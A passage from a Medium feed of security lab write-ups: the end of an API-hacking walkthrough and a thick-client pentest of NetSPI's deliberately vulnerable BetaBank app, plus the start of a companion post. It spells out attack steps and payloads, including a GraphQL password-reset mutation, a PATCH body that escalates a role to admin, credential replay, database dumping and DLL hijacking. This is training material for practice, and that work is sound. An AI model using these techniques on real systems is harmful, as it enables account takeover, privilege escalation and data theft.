src="https://cdn-images-1.medium.com/max/1024/1*pcPkRlWHf-fXpwr0FJKB4g.png" /></figure><p>While navigating the app with your <strong>Burp Suite</strong> proxy enabled, an /api/ endpoint appears in your Target tab.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/276/1*_eSQcSn6cbQthjt7hPemRA.png" /></figure><p>Send this request to <strong>Repeater</strong> and then to the server. Examine the response for user id=6 — you’ll find the IT admin’s email:<br><strong> </strong><a href="/service/mailto:ynitzsche@grant.com"><strong>ynitzsche@grant.com</strong></a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5MpakwMlVgcsL14ndwAt5Q.png" /></figure><p><strong>Done</strong>: In the response, we got the email id: ynitzsche@grant.com of the IT administrator</p><p><strong>2. Brute-force API to Discover Endpoints</strong></p><p>Use Burp Suite <strong>Intruder </strong>to brute-force possible endpoints:</p><ul><li>Send a request like GET <a href="http://127.0.0.1/login">http://127.0.0.1/login</a> and set the payload position at “login”.</li><li>Attack type: <em>Sniper</em>.</li><li>Payload: <em>Simple list</em> (your wordlist).</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4Wfbspfz3_vSwNQySiVTyg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VsE33EdYb4qCJMKfq8smEw.png" /></figure><p>Do the same for GET <a href="http://127.0.0.1/api/">http://127.0.0.1/api/</a> — enumerate endpoints for hidden routes.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*b0Z_wXnhwJ11R8e8XSIJXw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1SkXW5Bu69HSIQnwU2twsw.png" /></figure><p>Start the Attack!</p><p>We will find some useful new endpoints.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oDW2HGYgvsLSV-OlnC6nHQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YG2L7G8UwX8KhrxLbPUNKQ.png" /></figure><p>Note the new endpoints….</p><p><strong>3. Find out what grades everyone got in a class</strong></p><p>Send a request to GET <strong>/api/grades/ </strong>— this reveals all students’ grades.</p><p>Voila! We are able to see everyone’s grades.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rjXHXn0kuNvVKzZRbO8UUw.png" /></figure><p>4. <strong>Edit someone’s grade</strong> (BFLA + BOPLA)</p><p>· Send GET /api/grades/{grade_id}</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wZZcmou5FlqCgCtUxV8d4g.png" /></figure><p>· Change HTTP method to <strong>OPTIONS</strong>: See if ‘<strong>PATCH</strong>’ is allowed. You, will see server has allowed ‘PATCH’ method for this specific path.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3rR7kOUHGcIsJ-ER5xxuSQ.png" /></figure><p>· Copy the response body for a grade</p><p><strong>{</strong></p><p><strong>“grade”: &lt;new_grade&gt;</strong></p><p><strong>}</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/845/1*urNJJYVvusuRJmkzty8NFQ.png" /></figure><p>#<strong>Attack</strong>:</p><p><strong>a)</strong> Now, In the request body , add:</p><p><strong>{</strong></p><p><strong>“grade”:100</strong></p><p><strong>}</strong></p><p><strong>b)</strong> Add the header — <strong>Content-Type: application/json</strong></p><p><strong>c) </strong>Change the HTTP method to <strong>PATCH</strong>. Send the request and see the response.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KZ0Pxe0TTlUmxarZAyHnxw.png" /></figure><p>The grade has been successfully tampered</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*55pBJzh8FzAKYSJgoe9V1w.png" /></figure><p><strong>5. Make an account</strong></p><p>Through path enumeration, you may find a <em>register</em> endpoint (not visible in the UI).</p><p>Go to the <strong>/register</strong> page and simply create a new account.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wngfRjx0RaRI5Pq9sJJf_Q.png" /></figure><p><strong>6. Access the GraphQL API</strong></p><p>As we can see in below screenshot, /graphql path exist. (you may find it via directory/path enumeration)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wqsXAoE0kVf3MvjASighew.png" /></figure><p>Now, send the below graphql query as a POST request.</p><h4>{</h4><h4>“query”: “{ __schema { types { name fields { name } } } }”</h4><h4>}</h4><p>We’ll see some error, maybe it is because, we didn’t specify the ‘<strong><em>content-type</em></strong>’ in request header and the server may not have correctly interpreted our request body as JSON.</p><p>Therefore, this have led to syntax errors like the <em>Syntax Error: Unexpected &lt;EOF&gt;</em> because the server cannot properly parsed the GraphQL query payload.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FwvQEDhS6BW5f8tyKl--wA.png" /></figure><p>Add <strong>Content-Type: application/json</strong> in your request header and resend the request.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ePtHMxM92VcDAsiaNIG1Sw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dnxn7PW3XXJHo24lR-qJYQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xugN5Shs3GxZCeSxCh2Jsw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PYL57bhbV51as67i1GlK5Q.png" /></figure><p><strong>7. Change another account’s password</strong></p><p>To update a user’s password, send a suitable GraphQL mutation.</p><blockquote>{<br> “query”: “mutation updateUserPassword($id: String!, $password: String!) { updateUserPassword(id: $id, password: $password) { id email } }”,<br> “variables”: {“id”: “6”, “password”: “Hacked@123”}<br>}</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mAc6Ro-Hilz55OIyyZmE2g.png" /></figure><p>Login with the IT admin’s email and the new password (email obtained earlier via BOLA exploit).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KRRYdN9SJAZWcN6yUk7iag.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6bJQlhjl7YxOZZsCgaLmpQ.png" /></figure><p><strong>8. Login to your account and 9. Access admin API</strong></p><p>We found a path called “<strong>admin</strong>” under /api/. So try to access that.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SK8dUpxne-HEVl6cQVwORg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*y6JK14GpED4lGqyZ2iwDNw.png" /></figure><p><strong>10. Find out what vulnerabilities the IT admins have ignored</strong></p><p>Further enumerate /api/admin/ and you’ll find route like /vulnerabilities.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*51xhDBYFF9ItIDJbyk20Rg.png" /></figure><p>If permission is denied, proceed to escalate your role (see goal no. 11) to access these routes.</p><p><strong>11. Make your account an admin</strong></p><p>Identify the admin’s role_id (usually 1).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cQOPFBKRuh7bYvw8Y4SXPw.png" /></figure><p>Your account likely has a different role_id (e.g., 2 for students).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2A4OXucDSbzVIMnkOuAEFg.png" /></figure><p>Check allowed methods for /api/users/{your_id}; if PATCH is enabled, update your role:</p><p>Server allows <strong>PATCH</strong>!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iSL0ndAIignAdodfySwuoA.png" /></figure><p>Now, using <strong>PATCH </strong>method to update our role id from 2 → 1 (student → admin)</p><blockquote><strong>{</strong></blockquote><blockquote><strong>“role_id”:1</strong></blockquote><blockquote><strong>}</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GFrOc9TVQR9JFiZwJPWXhw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*klJAfeN2j7pnia6DnHREjw.png" /><figcaption>Verifying the role_id of our account. The role_id has been modified.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uduDRZR3iaznyK2OfRjVeA.png" /><figcaption>Retrying to access the /admin endpoint.</figcaption></figure><p>Now, we successfully got access to the admin API “<strong>/api/admin/vulnerabilities</strong>” (Goal no. 10 — Achieved!)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qJ6XQHi1bBolatmMctGazQ.png" /></figure><p><strong>12. Access the admin control panel</strong></p><p><em>Not accomplished. If you succeed on this, please share your method in the comment or dm me!</em></p><p><strong>13. Fire a blind XSS in the admin control panel and validate with your new admin account</strong></p><p><em>Not accomplished. If you succeed on this, please share your method in the comment or dm me!</em></p><p><strong>14. Delete everything</strong></p><p>Use the admin API’s <strong>/delete</strong> function to remove all users from the database.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TKnnXEnAtMXSsm1tOu7YWQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*W68dCvxVZu6ktzwbRFHlWA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*c6KRgYs4fap2pqMBOVrEKg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GjEkD7yOsFVMeMSC1LpChA.png" /></figure><p><strong>15. Restore everything</strong></p><p>Similarly, use the admin API’s <strong>/restore</strong> function to restore data.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XoL-m6qbkdd-_bf2Qm87iw.png" /></figure><p>That’s it!..</p><p>If you found this blog interesting and informative; please do give a clap<em>.</em></p><p>Thank you for reading😄<br>धन्यवाद पढ़ने के लिए!<br>अनुगृहीतोऽस्मि पठितवान्<br>¡Gracias por leer!<br>Danke fürs Lesen!<br>読んでくれてありがとうございます!<br>شكراً على القراءة</p><p>Благодарю за чтение!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9e05d74449cf" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hacking the “BetaFast” & “BetaBank” Thick Client Applications. Part — 2]]></title>
            <link>https://cybern1nja8.medium.com/hacking-the-betafast-betabank-thick-client-applications-part-2-db03feb4d231?source=rss-e0a2e2ab6ed8------2</link>
            <guid isPermaLink="false">https://medium.com/p/db03feb4d231</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[security-testing]]></category>
            <category><![CDATA[thick-client-security]]></category>
            <category><![CDATA[application-security]]></category>
            <dc:creator><![CDATA[cybern1nja8]]></dc:creator>
            <pubDate>Sun, 06 Aug 2023 06:06:59 GMT</pubDate>
            <atom:updated>2023-08-06T06:08:44.803Z</atom:updated>
            <content:encoded><![CDATA[<h3>Hacking the “BetaFast” &amp; “BetaBank” Thick Client Applications. Part — 2</h3><p>Welcome again; I hope that you have read <a href="https://medium.com/@abhishek.offsec/hacking-the-betafast-betabank-thick-client-applications-fe8b6226f84a">Part — 1</a>🐱‍💻 of this Blog before coming here.</p><p>As we have already looked into the 3-tier application i.e. “BetaFast”.</p><p>Now, it’s time to hack into the 2-tier application that is the “BetaBank” application.</p><p>So, let’s get down to business………</p><h3>- Network analysis</h3><ol><li><strong>Unencrypted data</strong></li></ol><p>Let’s analyze the Traffic and check whether it is transmitted in clear text.</p><p><strong>Step 1</strong> — Run WireShark to capture the traffic.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*i2H5D2CzmW7SMd2CJY5wxw.jpeg" /></figure><p><strong>Step 2</strong>- Here now let us assume that the victim enters his credential and tries to login into the application.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/600/1*ppNmLNo3inxxF94i6X_kbg.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/598/1*G1pXUH7wYyMAGkEybrxPQQ.jpeg" /></figure><p>Meanwhile; Wireshark has already captured a lot of traffic. So let’s check one of the traffic.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*96gJEoWTWZK8KtpR5D8SCA.jpeg" /></figure><p>As you may see in the screenshot below victim’s User id and passwd (encoded) have been captured.</p><p><strong>Step 3-</strong> Copy/ Note down the Password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sMjRWhktvLX2SQvEeiZolA.jpeg" /></figure><p><strong>Step 4 </strong>— Open EchoMirage and Inject it into the BetaBank app.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IKsWsWRza5A5Au9QILCwog.jpeg" /></figure><p><strong>Step 5 </strong>— Now intercept the login request in Echomirage by entering the victim’s user id &amp; random password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/643/1*PrRyPE54jAhPpDfFJUxX8A.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hN7CeHz1_2c-iLecMnSaAA.jpeg" /></figure><p><strong>Step 6</strong> — Now replace the password with the victim’s (encoded) password that we had intercepted earlier and forward the request.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_idx-YMIurWiMfCcu4RJgA.jpeg" /></figure><p>As you may see we got logged into the Victim’s account.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Go9BPLJDeZilmQnzV8fZQg.jpeg" /></figure><p>So, encoding or encrypting the password is not enough as the attacker may sniff the clear text traffic/ data to perform further attacks. It is essential to make sure that the traffic is transmitted in an encrypted format.</p><h3>- Client Side Analysis</h3><p><strong>2. </strong><em>File analysis</em> — <strong>Information Disclosure</strong></p><p><strong>Step 1</strong> — Look for files like .config, .txt, .ini, .xml, etc in the application folder whether you can find some sensitive info.</p><p>As I found one file called “<strong><em>betabank.exe.config</em></strong>” in the application folder which was basically a config file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EFN-KqYmUBkx_bSdxkXrDw.jpeg" /></figure><p>Opening that file reveals DB connection string was saved in it such as db Id, passwd, DB name, db server address.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0_cDYQztWNnq0QJe1Bj7rg.jpeg" /></figure><p><strong>Step 2</strong>— We can make use of <a href="https://docs.microsoft.com/en-us/sql/ssms/download-sql-server-management-studio-ssms?view=sql-server-ver15">SQL Server Management Studio</a> to authenticate &amp; access the database. Now we already have the DB address, name, Id, and passwd. So lets try to access the DB.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/823/1*sn5rh_nfTUVBGlIb1_aA0A.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ia1Hx1B0OXspcKMCzpe44A.jpeg" /></figure><p>As we can see we got access to the DB and all the tables, and columns in it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/370/1*_LnKqQMm3v_8eSQm0OLiCg.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/378/1*Oorj9ZSKT2puJG74QN7aUg.jpeg" /></figure><p>Now dump all the data from the “<em>Users</em>” table. By executing the query — <strong><em>use vulnerable; select * from Users</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mIPVFxYQ1UtIX1AXwiSeug.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/387/1*FKO-bUVSEOnE7DfDLMSPcQ.jpeg" /></figure><p>We can see all the user credentials there in the application. Let’s see whether we can log in with the “<strong>Chairman’s</strong>” account.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bb4SaWrYEve_BjEIeWCcMQ.jpeg" /></figure><p>Intercept a login request from the app by providing the chairman’s username and random password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/699/1*nllLQfCIURpvNuogwXW_GQ.jpeg" /></figure><p>Now replace the encoded password with the chairman’s encoded password with the help of EchoMirage that we got from the DB.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/720/1*kCcLi2twVKtdCrf4IdrNhw.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*I1-fdB2r0eHTjXTZk7qexA.jpeg" /></figure><p>Voila!, We got access to the Chairman’s account.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZrcpVeHbVNFYopIqmhAqWQ.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/655/1*3CZZVL3NY2JF7SFr3qTU0Q.jpeg" /></figure><p><strong>3. Sensitive data exposed in the application memory.</strong></p><p><strong>Step 1</strong> — Run the BetaBank application and use it for a while. Then <em>open “</em><strong><em>Process Hacker</em></strong><em>” &gt;&gt; Right click on application &gt;&gt; Select properties &gt;&gt; Memory &gt;&gt; Strings &gt;&gt; Set minimum length to 10 &gt;&gt; Ok.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5INHWC_tSmrEhvhfNbIdqw.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*d-khuEcj6unc9KZeWXpefw.jpeg" /></figure><p><strong>Step 3</strong> — Now search for the string like “<strong><em>password</em></strong>”. It was observed that the DB connection string was revealed in the application memory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iRTHq1W5GRFvr4V8X7hLpw.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zbQP6udaPuuO-y0z7dmsTQ.jpeg" /></figure><p><strong>4. Unsigned app</strong></p><p>Using sigcheck we can verify whether the application is signed or not.</p><p>It was found that the BetaBank app was not signed -</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AUk_3W29AvM030Hp0h8uPw.jpeg" /></figure><p>5. <strong>Source Code is not Obfuscated</strong></p><p>Let’s check whether the source code is obfuscated or not by decompiling the exe file using dnSpy.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nYpHdRpoQhlFSe1SJcSuhw.jpeg" /></figure><p><strong>6. Hardcoded Credentials are exposed in the source code.</strong></p><p><strong>Step 1 —</strong> Decompile the Exe file and look out for the hardcoded credential in the code by searching the various keywords such as <em>password, key, api key, secret, secret key, etc</em>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qwqx80dhtrokH3PoJEhTng.jpeg" /></figure><p><strong>7. DLL hijacking</strong></p><p><strong>Step 1 —</strong> Until now; by reading the previous 2 blogs you must be knowing how to hijack a dll. Run the ProcMon and set the filters.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*K0Fxn66ZClbzavcqUHoB6A.jpeg" /></figure><p><strong>Step 2</strong> — Run the BetaFast app.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xbpIaFkG671TtyWmMdGdew.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Kf1IA0kiqPWDWaoB6MyNLg.jpeg" /></figure><p><strong>Step 3 —</strong> Select one of the dll. After trying multiple dlls I found out that the “<em>DWMAPI.dll</em>” can be hijacked.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qq72woVROhOwFyQGM8AulQ.jpeg" /></figure><p><strong>Step 3 —</strong> Let’s create a test dll with the same name as above.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/183/1*6S2LQWJ3GjECvqYQ3xw0Cg.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/701/1*Wr_66J4tdEKBOvUZ9yqVNw.jpeg" /></figure><p><strong>Step 4</strong> — Keeping inside the mentioned path. After that run the application.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/777/1*gLeySB-_IMcHUbJtjeHVKA.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/781/1*er3yDCQPnS5kY0CffSb7LA.jpeg" /></figure><p>As we can see the calculator got executed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/969/1*jwIRNjr05ZUjg2wHreUyqA.jpeg" /></figure><p><strong>8. Bussiness Logic</strong></p><p><strong>Step 1</strong> — The BetaBank has a feature where we can withdraw an amount.</p><p>Let’s see how this work by withdrawing $10.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9dOVtJqYbfWzNVL09XUBuQ.jpeg" /></figure><p>As we can see we have left with $10.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/621/1*T2mvSnXmMeHNZgl9DaJuGw.jpeg" /></figure><p><strong>Step 2</strong> — Now let’s check the logic for this functionality. We can see that our <strong><em>account</em></strong> <strong><em>balance </em></strong>will get updated by subtracting the “<strong><em>current balance</em></strong>” from the “<strong><em>withdrawal amount</em></strong>”. It looks something like this -</p><blockquote><strong><em>New Balance</em></strong> = <strong><em>Current Balance</em></strong> — <strong><em>Withdrawal amount</em></strong>.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kgUgxbHfZBRZusIqg0DaiQ.jpeg" /></figure><p><strong>Step 3</strong> — Now let’s try to attack the business logic by providing a negative value “-10”.</p><blockquote><strong>So that it’ll look like this —</strong></blockquote><blockquote><strong>$10-(-10)</strong> which is basically <strong>10 + 10</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/797/1*X3bkYDVxN6nONqxbn3Acbg.jpeg" /></figure><p>As we can see, instead of having $10 deducted from our account, $10 was credited to it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MppM5ovLGa1VfUwJlIG8vA.jpeg" /></figure><p><em>Let’s try one more time.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/891/1*3wv4tyJaiKWEqBPBzX0xCw.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/880/1*gBaGIvPNAczZfXy3WhMWbg.jpeg" /></figure><p><strong>9. Source Code Scan</strong></p><p><strong>Step 1</strong> — Locate all the source code files and load them into the <strong><em>VisualCodeGrepper </em></strong>and <strong><em>click on Scan &gt;&gt; Full scan.</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*v0-0R0bLEiBM6qGzvA9cpA.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/635/1*72cRNVavd3oclPfxHFh3Ow.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6uO0AdqxbzVxYW3-Di8L9g.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RXneTaBrXhQIoTvtbemgEQ.jpeg" /></figure><p><strong>10. GUI manipulation</strong></p><p>Login into the BetaBank application and you will see that the “<strong><em>Withdraw</em></strong>” button is disabled.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mkMBnrXQjhiVlBeYjKWWjQ.jpeg" /></figure><p>We can try to access that feature by GUI manipulation using a tool called “<a href="https://github.com/snoopwpf/snoopwpf/releases"><strong><em>Snoop</em></strong></a>”.</p><blockquote><strong>Snoop</strong> allows you to spy/browse the visual, logical, and automation tree of any running WPF application (<strong>without the need for a debugger</strong>).<br>You can <strong>change property values</strong>, view triggers, set breakpoints on property changes, and many more things.</blockquote><p><strong>Step 1</strong> — Open Snoop and select the BetaBank app from the drop down menu.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/813/1*r-68YsbzGFO3DTFqzdarQA.jpeg" /></figure><p><strong>Step 2 </strong>— Click on the below-highlighted menu.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/849/1*E6-THTfvhlFeqCQShmPdfQ.jpeg" /></figure><p><strong>Step 3</strong> — The Snoop will show you all the visual, logical, and automation tree of the app.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jg8Zj6FYPL5wljx7CcMMHA.jpeg" /></figure><p><strong>Step 3</strong> — Now search “<strong><em>Withdraw</em></strong>” (as we are looking for the properties of withdraw button) it will show you the tree.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4rKna8Y8O8UoQRo9T5fCpw.jpeg" /></figure><p><strong>Step 4</strong> — Look into the different properties of the “<em>Withdraw</em>” button and we’ll see that there is a property called “<strong><em>isEnabled</em></strong>” which is unchecked.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iLqn6WKPbnsZhlZroCnqgA.jpeg" /></figure><p>So let’s enable it by checking the checkbox &amp; you’ll see that now the withdraw button is enabled and functional.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7XYyot-g_vOxQl8Gf732tA.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kq_inDJao7FbLsfz6FTaWw.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*C2NZAYepdqUb72WQc32c7w.jpeg" /></figure><p><strong>- Tools -</strong></p><ul><li><strong>SQL server management studio </strong>— <a href="https://docs.microsoft.com/en-us/sql/ssms/download-sql-server-management-studio-ssms?view=sql-server-ver15">https://medium.com/r/?url=https%3A%2F%2Fdocs.microsoft.com%2Fen-us%2Fsql%2Fssms%2Fdownload-sql-server-management-studio-ssms%3Fview%3Dsql-server-ver15</a></li><li><strong>Process Hacker</strong> — <a href="https://processhacker.sourceforge.io/downloads.php">https://processhacker.sourceforge.io/downloads.php</a></li><li><strong>Snoop </strong>— <a href="https://github.com/snoopwpf/snoopwpf/releases">https://github.com/snoopwpf/snoopwpf/releases</a></li></ul><p><strong>- Reference -</strong></p><ul><li><a href="https://www.netspi.com/blog/technical/thick-application-penetration-testing/introduction-to-hacking-thick-clients-part-2-the-network/?_gl=1*1see6h5*_ga*MTI5MDg3NzExNS4xNjc0NDg5MDM4*_ga_BVEZXBBWG7*MTY5MTMwMTA2Mi4yMS4xLjE2OTEzMDExMzMuNDkuMC4w">https://www.netspi.com/blog/technical/thick-application-penetration-testing/introduction-to-hacking-thick-clients-part-2-the-network/?_gl=1*1see6h5*_ga*MTI5MDg3NzExNS4xNjc0NDg5MDM4*_ga_BVEZXBBWG7*MTY5MTMwMTA2Mi4yMS4xLjE2OTEzMDExMzMuNDkuMC4w</a></li></ul><p>If you found this blog interesting and informative; please do give a clap<em>.</em></p><p>Thank you for reading!😃😄<br>धन्यवाद पढ़ने के लिए!<br>अनुगृहीतोऽस्मि पठितवान्<br>¡Gracias por leer!<br>Danke fürs Lesen!<br>読んでくれてありがとうございます!<br>شكراً على القراءة</p><p>Благодарю за чтение!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=db03feb4d231" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hacking the “BetaFast” & “BetaBank” Thick Client Applications. Part — 1.]]></title>
            <link>https://cybern1nja8.medium.com/hacking-the-betafast-betabank-thick-client-applications-fe8b6226f84a?source=rss-e0a2e2ab6ed8------2</link>
            <guid isPermaLink="false">https://medium.com/p/fe8b6226f84a</guid>
            <category><![CDATA[vulnerability-assessment]]></category>
            <category><![CDATA[thick-client-security]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[application-security]]></category>
            <category><![CDATA[hacking-applications]]></category>
            <dc:creator><![CDATA[cybern1nja8]]></dc:creator>
            <pubDate>Tue, 25 Jul 2023 11:40:40 GMT</pubDate>
            <atom:updated>2023-07-31T04:47:15.213Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>Hi</strong>👋🏻 Cyber Security people; I hope you guys are doing well. I am back with another Blog which again focuses on — “<strong>Thick Client Security Testing</strong>”. As I’ve already published a blog on the same topic which basically covers fundamentals about the thick client security testing/ my approach to testing the same and more stuff.</p><p>I would suggest you guys read that 👉🏻<a href="https://medium.com/@abhishek.offsec/thick-client-security-testing-the-essential-guide-78f0015ed94f"><strong><em>blog </em></strong></a>first; before reading this (if you are a complete beginner or have Basic knowledge) because it will give you some insights which will help you to get started.</p><blockquote>So, what&#39;s in this blog?</blockquote><p>As I mentioned in my last blog I’ll be coming up with another blog where we will be looking into 2 Thick Clients applications called — “<a href="https://github.com/NetSPI/BetaFast/tree/master/BetaBank"><strong><em>BetaBank</em></strong></a>” &amp; “<a href="https://github.com/NetSPI/BetaFast/tree/master/BetaFast"><strong><em>BetaFast</em></strong></a>” developed by <strong>NetSPI </strong>which are really good applications to test and polish your skills.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/463/1*QGdaeGzPC_Gz9C-9Nsqakg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/683/1*iR6s9vmaNdRGxgvJKFz5xw.png" /></figure><blockquote>So what are these applications?</blockquote><p><a href="https://github.com/NetSPI/BetaFast/tree/master/BetaFast"><strong>BetaFast </strong></a>— This one is written with <strong>three-tier</strong> architecture.</p><p>BetaBank contains but is not limited to the following vulnerabilities:</p><ul><li><em>Hardcoded Encryption Data</em></li><li><em>Hardcoded Encrypted Password</em></li><li><em>SQL Injection</em></li><li><em>Authorization Bypass</em></li><li><em>Missing server-side input validation</em></li><li><em>Cleartext Password Stored — Registry</em></li><li><em>Cleartext Sensitive Data Stored — Files</em></li><li><em>Weak File Upload Controls</em></li><li><em>Weak Input Validation</em></li><li><em>No Code Obfuscation</em></li></ul><p><a href="https://github.com/NetSPI/BetaFast/tree/master/BetaBank"><strong>BetaBank</strong> </a>is a finance application, written with <strong>two-tier</strong> architecture.</p><p>BetaBank contains below vulnerabilities -</p><ul><li><em>Unencrypted Database Connection</em></li><li><em>Hardcoded Connection String</em></li><li><em>Weak Password Storage</em></li><li><em>Custom Encryption Implementation</em></li></ul><p>Want to know how to set up 